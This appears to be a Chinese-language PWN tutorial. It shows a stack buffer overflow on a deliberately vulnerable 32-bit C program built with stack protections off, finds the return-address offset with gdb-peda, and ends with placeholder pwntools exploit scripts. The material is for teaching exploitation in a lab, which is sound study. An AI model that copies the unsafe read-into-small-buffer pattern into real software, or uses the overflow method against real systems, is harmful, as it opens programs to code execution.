建立一个文件1.c:

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
void func()
{
char name[0x50];//0x100大小的栈空间
read(0, name, 0x100);//输入0x200大小的数据
write(1, name, 0x100);
}
int main()
{
func();
return 0;
}

0x02 x86下无任何防护机制

编译方式:

1
gcc -m32 -g 1.c -o 1 -O0 -fno-stack-protector -z execstack

**m32:**生成32bit程序需要gcc-multilib(x86机器上编译不用加)

**O0:**不进行任何优化

**fno-stack-protector:**不开启canary栈溢出检测

**z execstack:**开启栈可执行关闭NX

首先寻找多少字节能溢出切刚好能够覆盖return addr。我们使用gdb-peda提供的pattern_create和pattern_offset。pattern_create是生成一个字符串模板输入后根据EIP来确定覆盖return addr的长度。

打开gdb

1
2
gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

然后让程序跑起来输入这串字符串后程序崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
gdb-peda$ file 1
Reading symbols from 1...
(No debugging symbols found in 1)

gdb-peda$ r
Starting program: /root/PWN/1 1
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
B���UVp`UV�`UV�aUVt���bUVpbUV�B��l���
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x100
EBX: 0x35414166 ('fAA5')
ECX: 0xffffcd70 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EDX: 0x100
ESI: 0xf7fa7000 --> 0x1d6d6c
EDI: 0xf7fa7000 --> 0x1d6d6c
EBP: 0x414b4141 ('AAKA')
ESP: 0xffffcdd0 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>)
EIP: 0x41416741 ('AgAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416741
[------------------------------------stack-------------------------------------]
0000| 0xffffcdd0 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>)
0004| 0xffffcdd4 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>)
0008| 0xffffcdd8 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>)
0012| 0xffffcddc ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>)
0016| 0xffffcde0 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>)
0020| 0xffffcde4 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>)
0024| 0xffffcde8 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>)
0028| 0xffffcdec ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416741 in ?? ()
1
2
gdb-peda$ pattern_offset 0x41416741
1094805313 found at offset: 92

然后确定主机是否开启ASLR。

1
2
cat /proc/sys/kernel/randomize_va_space
0

可见主机并没有开启ASLR。也可以使用ldd来看加载动态库时动态库的基址来确定是否开启ASLR。

1
2
3
4
5
6
7
8
⚡ root@kali  ~/PWN  ldd 1
linux-gate.so.1 (0xf7fd3000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dcb000)
/lib/ld-linux.so.2 (0xf7fd4000)
⚡ root@kali  ~/PWN  ldd 1
linux-gate.so.1 (0xf7fd3000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dcb000)
/lib/ld-linux.so.2 (0xf7fd4000)

两次libc的基址一样也说明了主机没有开启ASLR。然后我们可以在栈中部署一段shellcode然后让return addr的内容位shellcode的地址注意这块有个坑。gdb调试的时候栈地址和程序运行时不同所以我们需要开启core dump或者attach到运行的程序上来看程序运行时的栈地址。通过ulimit -c unlimited来开启core dump。然后让程序崩溃调试一下core dump来找shellcode的地址。

crack.py

1
2
3
4
5
6
from pwn import *
io = process("./1")
payload = 'a' * 92
payload += 'bbbb' # eip
payload += 'cccc' # shellcode
io.send(payload)

这里bbbb是eip的位置cccc是shellcode的位置然后运行这个python后程序崩溃我们调试core dump(gdb -c core)文件找cccc的地址填到eip的位置即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gdb-peda$ info r
eax 0x100 0x100
ecx 0xffffcda0 0xffffcda0
edx 0x100 0x100
ebx 0x35414166 0x35414166
esp 0xffffce00 0xffffce00
ebp 0x414b4141 0x414b4141
esi 0xf7fa7000 0xf7fa7000
edi 0xf7fa7000 0xf7fa7000
eip 0x41416741 0x41416741
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 0x23
ss 0x2b 0x2b
ds 0x2b 0x2b
es 0x2b 0x2b
fs 0x0 0x0
gs 0x63 0x63

当你觉得你的脚本没有问题,但是却又怎么也出你想要的结果时,你就需要用到调试了

一个是设置context.log_level="debug"
脚本在执行时就会输出debug的信息,你可以通过观察这些信息查找哪步出错了
用gdb.attach(p)
在发送payload前加入这条语句,同时加上pause() 时脚本暂停
然后就会弹出来一个开启gdb的终端,先在这个终端下好断点,然后回运行着脚本的那个终端按一下回车继续运行脚本,程序就会运行到断点,就可以调试了
1
2
3
4
5
6
7
from pwn import*  
p = process('./xxxx')
payload = .....
gdb.attach(p)
pause()
p.sendline(payload)
p.interactive()

安全客-PWN入门